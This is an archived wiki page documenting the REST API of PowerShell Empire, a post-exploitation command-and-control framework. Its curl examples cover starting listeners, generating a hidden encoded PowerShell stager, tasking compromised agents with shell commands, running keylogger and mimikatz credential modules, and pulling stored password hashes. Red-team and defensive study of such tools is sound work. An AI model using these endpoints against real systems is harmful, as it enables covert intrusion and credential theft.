Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

RESTful API

Jump to bottom
Chris Ross edited this page May 4, 2017 · 9 revisions

Empire 1.5.0 introduced a RESTful API that allows for scripting and control of Empire through HTTP JSON requests.

This API and documentation are based on the excellent example set by the BeEF Project. All credit to @antisnatchor and the entire BeEF community for the great examples to draw on.

Introduction

There are currently two ways to launch the Empire RESTful API.

You can start a normal Empire instance with ./empire, and then in another windows run ./empire --rest. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI.

Alternatively, you can run Empire 'headless' with ./empire --headless, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages.

By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying --restport <PORT_NUM> on launch.

The default username for the API is 'empireadmin' and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using sqlitebrowser ./data/empire.db, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with --username admin --password 'Password123!'.

You can review all cli options by running:

# ./empire -h
usage: empire [-h] [--debug [DEBUG]] [-s [STAGER]]
              [-o [STAGER_OPTIONS [STAGER_OPTIONS ...]]] [-l [LISTENER]] [-v]
              [--rest] [--restport [RESTPORT]] [--headless]
              [--username [USERNAME]] [--password [PASSWORD]]

optional arguments:
  -h, --help            show this help message and exit
  --debug [DEBUG]       Debug level for output (default of 1).
  -s [STAGER], --stager [STAGER]
                        Specify a stager to generate. Lists all stagers if
                        none is specified.
  -o [STAGER_OPTIONS [STAGER_OPTIONS ...]], --stager-options [STAGER_OPTIONS [STAGER_OPTIONS ...]]
                        Supply options to set for a stager in OPTION=VALUE
                        format. Lists options if nothing is specified.
  -l [LISTENER], --listener [LISTENER]
                        Display listener options. Displays all listeners if
                        nothing is specified.
  -v, --version         Display current Empire version.
  --rest                Run the Empire RESTful API.
  --restport [RESTPORT]
                        Port to run the Empire RESTful API on.
  --headless            Run Empire and the RESTful API headless without the
                        usual interface.
  --username [USERNAME]
                        Start the RESTful API with the specified username
                        instead of pulling from empire.db
  --password [PASSWORD]
                        Start the RESTful API with the specified password
                        instead of pulling from empire.db

API Authentication

The Empire API uses a simple token-based auth system similar to BeEF's. In order to make any requests to the API, a ?token=X parameter must be supplied, otherwise a 403 error is returned.

The token is randomly generated on rest API start up and displayed on the command line:

# ./empire --rest --password 'Password123!'

[*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

To retrieve the session token through the login interface, you can POST a request to /api/admin/login. Here's an example with curl:

# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.11.4
Date: Thu, 31 Mar 2016 23:38:59 GMT

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

Version Information

Handler

  • Handler : GET /api/version
  • Description : Returns the current Empire version.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/version?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "version": "1.5.0"
}

Configuration Information

Handler

  • Handler : GET /api/config
  • Description : Returns the current Empire configuration.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/config?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "config": [
    {
      "api_password": "C3>Jl...",
      "api_username": "empireadmin",
      "autorun_command": "",
      "autorun_data": "",
      "current_api_token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5",
      "default_cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_port": "8080",
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "install_path": "/home/user/Empire/",
      "ip_blacklist": "",
      "ip_whitelist": "",
      "permanent_api_token": "gi5afo3umac6...",
      "server_version": "Microsoft-IIS/7.5",
      "stage0_uri": "index.asp",
      "stage1_uri": "index.jsp",
      "stage2_uri": "index.php",
      "staging_key": "m@T%L?VH...",
      "version": "1.5.0"
    }
  ]
}

Admin Functionality

Get Session Token

Handler

  • Handler : GET /api/login
  • Description : Logs into the API and gets the current session token.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'

Response:

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

Get Permanent Session Token

Handler

  • Handler : GET /api/permanenttoken
  • Description : Gets the permanent session token, reusable without login. Doesn't change on API restart.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/permanenttoken?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "token": "gi5afo3umac6c0..."
}

Restart the RESTful API Server

Handler

  • Handler : GET /api/restart
  • Description : Restarts the RESTful API server.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Shutdown the RESTful API Server

Handler

  • Handler : GET /api/shutdown
  • Description : Shutdown the RESTful API server.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Listeners

Get Current Listeners

Handler

  • Handler : GET /api/listeners
  • Description : Returns all current Empire listeners.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeners": [
    {
      "ID": 1,
      "cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "host": "http://192.168.52.172:8080",
      "kill_date": "",
      "listener_type": "native",
      "name": "test",
      "port": 8080,
      "redirect_target": "",
      "staging_key": "m@T%L?V...",
      "working_hours": ""
    }
  ]
}

Get Listener by Name

Handler

  • Handler : GET /api/listeners/LISTENER_NAME
  • Description : Returns the listener specifed by the name/id LISTENER_NAME.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/test?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeners": [
    {
      "ID": 1,
      "cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "host": "http://192.168.52.172:8080",
      "kill_date": "",
      "listener_type": "native",
      "name": "test",
      "port": 8080,
      "redirect_target": "",
      "staging_key": "m@T%L...",
      "working_hours": ""
    }
  ]
}

Get Current Listener Options

Handler

  • Handler : GET /api/listeners/options/listener_type
  • Description : Returns the current listener options for the specified type.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/options/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeneroptions": [
    {
      "CertPath": {
        "Description": "Certificate path for https listeners.",
        "Required": false,
        "Value": ""
      },
      "DefaultDelay": {
        "Description": "Agent delay/reach back interval (in seconds).",
        "Required": true,
        "Value": 5
      },
      "DefaultJitter": {
        "Description": "Jitter in agent reachback interval (0.0-1.0).",
        "Required": true,
        "Value": 0.0
      },
      "DefaultLostLimit": {
        "Description": "Number of missed checkins before exiting",
        "Required": true,
        "Value": 60
      },
      "DefaultProfile": {
        "Description": "Default communication profile for the agent.",
        "Required": true,
        "Value": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
      },
      "Host": {
        "Description": "Hostname/IP for staging.",
        "Required": true,
        "Value": "http://192.168.52.173:8080"
      },
      "KillDate": {
        "Description": "Date for the listener to exit (MM/dd/yyyy).",
        "Required": false,
        "Value": ""
      },
      "Name": {
        "Description": "Listener name.",
        "Required": true,
        "Value": "test"
      },
      "Port": {
        "Description": "Port for the listener.",
        "Required": true,
        "Value": "8080"
      },
      "RedirectTarget": {
        "Description": "Listener target to redirect to for pivot/hop.",
        "Required": false,
        "Value": ""
      },
      "StagingKey": {
        "Description": "Staging key for initial agent negotiation.",
        "Required": true,
        "Value": "m@T%L..."
      },
      "Type": {
        "Description": "Listener type (native, pivot, hop, foreign, meter).",
        "Required": true,
        "Value": "native"
      },
      "WorkingHours": {
        "Description": "Hours for the agent to operate (09:00-17:00).",
        "Required": false,
        "Value": ""
      }
    }
  ]
}

Create a Listener

Handler

  • Handler : POST /api/listeners/listener_type
  • Description : Creates a listener with the specified parameters.
  • Parameters (none required) :
    • Name : name for the listener
    • additional : any additional values enumerated from listener options above

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'

Response:

{
  "msg": "listener 'testing' successfully started.",
  "success": true
}

Failure Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'

Response:

{
  "msg": "Error starting listener on port 8080, port likely already in use.",
  "success": false
}

Kill a Listener

Handler

  • Handler : DELETE /api/listeners/LISTENER_NAME
  • Description : Kills the listener specifed by the name/id LISTENER_NAME.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/testing?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Kill All Listeners

Handler

  • Handler : DELETE /api/listeners/all
  • Description : Kills all listeners.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/all?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Stagers

Get Current Stagers

Handler

  • Handler : GET /api/stagers
  • Description : Returns all current Empire stagers and options.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "stagers": [
    {
      "Author": [
        "@harmj0y"
      ],
      "Comments": [
        ""
      ],
      "Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.",
      "Name": "ducky",
      "options": {
        "Listener": {
          "Description": "Listener to generate stager for.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "File to output duckyscript to.",
          "Required": true,
          "Value": ""
        },
        "Proxy": {
          "Description": "Proxy to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "ProxyCreds": {
          "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "StagerRetries": {
          "Description": "Times for the stager to retry connecting.",
          "Required": false,
          "Value": "0"
        },
        "UserAgent": {
          "Description": "User-agent string to use for the staging request (default, none, or other).",
          "Required": false,
          "Value": "default"
        }
      }
    },
    ...
  ]
}

Get Stager by Name

Handler

  • Handler : GET /api/stagers/STAGER_NAME
  • Description : Returns the Empire stager specified by STAGER_NAME.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/stagers/dll?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "stagers": [
    {
      "Author": [
        "@sixdub"
      ],
      "Comments": [
        ""
      ],
      "Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
      "Name": "dll",
      "options": {
        "Arch": {
          "Description": "Architecture of the .dll to generate (x64 or x86).",
          "Required": true,
          "Value": "x64"
        },
        "Listener": {
          "Description": "Listener to use.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "File to output dll to.",
          "Required": true,
          "Value": "/tmp/launcher.dll"
        },
        "Proxy": {
          "Description": "Proxy to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "ProxyCreds": {
          "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "StagerRetries": {
          "Description": "Times for the stager to retry connecting.",
          "Required": false,
          "Value": "0"
        },
        "UserAgent": {
          "Description": "User-agent string to use for the staging request (default, none, or other).",
          "Required": false,
          "Value": "default"
        }
      }
    }
  ]
}

Generate Stager

Handler

  • Handler : POST /api/stagers
  • Description : Returns the Empire stager specified by parameters.
  • Parameters :
    • StagerName : the stager name to generate (required)
    • Listener : the listener name to generate the stager for (required)
    • additional : any additional stager values enumerated from stager options

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"testing"}'

Response:

{
  "launcher": {
    "Base64": {
      "Description": "Switch. Base64 encode the output.",
      "Required": true,
      "Value": "True"
    },
    "Listener": {
      "Description": "Listener to generate stager for.",
      "Required": true,
      "Value": "testing"
    },
    "OutFile": {
      "Description": "File to output launcher to, otherwise displayed on the screen.",
      "Required": false,
      "Value": ""
    },
    "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB...KQA=",
    "Proxy": {
      "Description": "Proxy to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "ProxyCreds": {
      "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "StagerRetries": {
      "Description": "Times for the stager to retry connecting.",
      "Required": false,
      "Value": "0"
    },
    "UserAgent": {
      "Description": "User-agent string to use for the staging request (default, none, or other).",
      "Required": false,
      "Value": "default"
    }
  }
}

Agents

Get Current Agents

Handler

  • Handler : GET /api/agents
  • Description : Returns all current Empire agents.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 17:36:34",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 17:38:55",
      "listener": "http://192.168.52.172:8080/",
      "lost_limit": 60,
      "name": "3GHZPWEGADMT2KPA",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "1636",
      "process_name": "powershell",
      "ps_version": "2",
      "results": "",
      "servers": null,
      "sessionID": "3GHZPWEGADMT2KPA",
      "session_key": "7.+...",
      "taskings": "",
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    },
    ...
  ]
}

Get Stale Agents

Handler

  • Handler : GET /api/agents/stale
  • Description : Returns all 'stale' Empire agents (past checkin window).
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 17:36:34",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 17:38:55",
      "listener": "http://192.168.52.172:8080/",
      "lost_limit": 60,
      "name": "3GHZPWEGADMT2KPA",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "1636",
      "process_name": "powershell",
      "ps_version": "2",
      "results": "",
      "servers": null,
      "sessionID": "3GHZPWEGADMT2KPA",
      "session_key": "7.+...",
      "taskings": "",
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    },
    ...
  ]
}

Remove Stale Agents

Handler

  • Handler : DELETE /api/agents/stale
  • Description : Removes all 'stale' Empire agents (past checkin window).
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Get Agent by Name

Handler

  • Handler : GET /api/agents/AGENT_NAME
  • Description : Returns the agent specifed by AGENT_NAME.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 20:29:31",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 20:29:38",
      "listener": "http://192.168.52.173:8080/",
      "lost_limit": 60,
      "name": "XMY2H2ZPFWNPGEAP",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "2600",
      "process_name": "powershell",
      "ps_version": "2",
      "results": null,
      "servers": null,
      "sessionID": "XMY2H2ZPFWNPGEAP",
      "session_key": "+e`x!...",
      "taskings": null,
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    }
  ]
}

Remove Agent

Handler

  • Handler : DELETE /api/agents/AGENT_NAME
  • Description : Removes the agent specifed by AGENT_NAME (doesn't kill first).
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Task an Agent to run a Shell Command

Handler

  • Handler : POST /api/agents/AGENT_NAME/shell
  • Description : Tasks the agent specifed by AGENT_NAME to run the given shell command.
  • Parameters :
    • command : the shell command to task the agent to run (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"whoami"}'

Response:

{
  "success": true
}

Task all Agents to run a Shell Command

Handler

  • Handler : POST /api/agents/all/shell
  • Description : Tasks all agents to run the given shell command.
  • Parameters :
    • command : the shell command to task the agents to run (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"pwd"}'

Response:

{
  "success": true
}

Get Agent Results

Handler

  • Handler : GET /api/agents/AGENT_NAME/results
  • Description : Retrieves results for the agent specifed by AGENT_NAME.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "results": [
    {
      "agentname": "CXPLDTZCKFNT3SLT",
      "results": "WINDOWS1\\user\nPath                                                                           \r\n----                                                                           \r\nC:\\Users\\user
    }
  ]
}r

Delete Agent Results

Handler

  • Handler : DELETE /api/agents/AGENT_NAME/results
  • Description : Deletes the result buffer for the agent specifed by AGENT_NAME.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Delete All Agent Results

Handler

  • Handler : DELETE /api/agents/all/results
  • Description : Deletes all agent result buffers
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Clear Queued Agent Tasking

Handler

  • Handler : POST/GET /api/agents/AGENT_NAME/clear
  • Description : Clears the queued taskings for the agent specified by AGENT_NAME.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/clear?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Rename an Agent

Handler

  • Handler : POST/GET /api/agents/AGENT_NAME/rename
  • Description : Renames the agent specified by AGENT_NAME.
  • Parameters :
    • newname : the name to rename the specified agent to (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/rename?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"newname":"initial"}'

Response:

{
  "success": true
}

Kill an Agent

Handler

  • Handler : POST/GET /api/agents/AGENT_NAME/kill
  • Description : Tasks the agent specified by AGENT_NAME to exit.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Kill all Agents

Handler

  • Handler : POST/GET /api/agents/all/kill
  • Description : Tasks all agents to exit.
  • No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Modules

Get Current Modules

Handler

  • Handler : GET /api/modules
  • Description : Returns all current Empire modules.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/modules?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "modules": [
    {
      "Author": [
        "@xorrior"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1",
        "http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/"
      ],
      "Description": "This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox above version 32. This will only be successful if the master password is blank or has not been set.",
      "MinPSVersion": "2",
      "Name": "collection/FoxDump",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "SaveOutput": false,
      "options": {
        "Agent": {
          "Description": "Agent to run the module on.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "Path to Output File",
          "Required": false,
          "Value": ""
        }
      }
    },
    ...
  ]
}

Get Module by Name

Handler

  • Handler : GET /api/modules/MODULE_NAME
  • Description : Returns the module specified by MODULE_NAME.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/modules/collection/keylogger?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "modules": [
    {
      "Author": [
        "@obscuresec",
        "@mattifestation",
        "@harmj0y"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
      ],
      "Description": "Logs keys pressed, time and the active window (when changed).",
      "MinPSVersion": "2",
      "Name": "collection/keylogger",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "options": {
        "Agent": {
          "Description": "Agent to run module on.",
          "Required": true,
          "Value": ""
        }
      }
    }
  ]
}

Search for Module

Handler

  • Handler : POST /api/modules/search
  • Description : Searches all module fields for the given term.
  • Parameters (none required) :
    • term : the term to search for (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json"  https://localhost:1337/api/modules/search?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -d '{"term":"keylogger"}'

Response:

{
  "modules": [
    {
      "Author": [
        "@obscuresec",
        "@mattifestation",
        "@harmj0y"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
      ],
      "Description": "Logs keys pressed, time and the active window (when changed).",
      "MinPSVersion": "2",
      "Name": "collection/keylogger",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "options": {
        "Agent": {
          "Description": "Agent to run module on.",
          "Required": true,
          "Value": ""
        }
      }
    }
  ]
}

Execute a Module

Handler

  • Handler : POST /api/modules/MODULE_NAME
  • Description : Tasks an
  • Parameters (none required) :
    • Agent : the agent to task the module for (or all). Required.
    • additional : any additional module values enumerated from module options

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d '{"Agent":"WTN1LHHRYHFWHXU3"}'

Response:

{
  "msg": "tasked agent WTN1LHHRYHFWHXU3 to run module credentials/mimikatz/logonpasswords",
  "success": true
}

Credentials

Get Stored Credentials

Handler

  • Handler : GET /api/creds
  • Description : Returns all credentials currently stored in an Empire server.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/creds?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "creds": [
    {
      "ID": 1,
      "credtype": "hash",
      "domain": "testlab.local",
      "host": "WINDOWS1",
      "notes": "2016-03-31 17:37:23",
      "password": "2b576acbe6b...",
      "sid": "S-1-5-21-664317401-282805101-...",
      "username": "Administrator"
    },
    ...
  ]
}

Reporting

Get All Logged Events

Handler

  • Handler : GET /api/reporting
  • Description : Returns all logged events.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 1,
      "agentname": "3GHZPWEGADMT2KPA",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:34",
      "timestamp": "2016-03-31 17:36:34"
    },
    ...
  ]
}

Get Agent Logged Events

Handler

  • Handler : GET /api/reporting/agent/AGENT_NAME
  • Description : Returns the events for a specified AGENT_NAME
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/agent/initial?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 28,
      "agentname": "SMLHRBLTP4Z14SHC",
      "event_type": "checkin",
      "message": "2016-03-31 21:01:34",
      "timestamp": "2016-03-31 21:01:34"
    },
    ...
  ]
}

Get Logged Events of Specific Type

Handler

  • Handler : GET /api/reporting/type/MSG_TYPE
  • Description : Returns the events of a specified MSG_TYPE (checkin, task, result).
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/type/checkin?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 1,
      "agentname": "3GHZPWEGADMT2KPA",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:34",
      "timestamp": "2016-03-31 17:36:34"
    },
    {
      "ID": 4,
      "agentname": "PK4HAFLH4231E14X",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:50",
      "timestamp": "2016-03-31 17:36:50"
    },
    ...
  ]
}

Get Logged Events w/ Specific Msg

Handler

  • Handler : GET /api/reporting/msg/MSG
  • Description : Returns the events matching a specific MSG.
  • No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/msg/mimikatz?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 5,
      "agentname": "PK4HAFLH4231E14X",
      "event_type": "task",
      "message": "TASK_CMD_JOB - function Invoke-Mimikatz\n{\n[CmdletBinding(DefaultP",
      "timestamp": "2016-03-31 17:36:54"
    },
    ...
  ]
}

PowerShellEmpire | Code

I- Overview

  1. Quick Start
  2. Architecture
  3. Staging
  4. Installation
  5. Configuration

I- Modules

  1. Code Execution
  2. Collection
  3. Credentials
  4. Exfiltration
  5. Exploitation
  6. Lateral Movement
  7. Management
  8. Persistence
  9. Privesc
  10. Recon
  11. Situational Awareness
  12. TrollSploit

I- Advanced

  1. RestFul API
  2. Module Development
Clone this wiki locally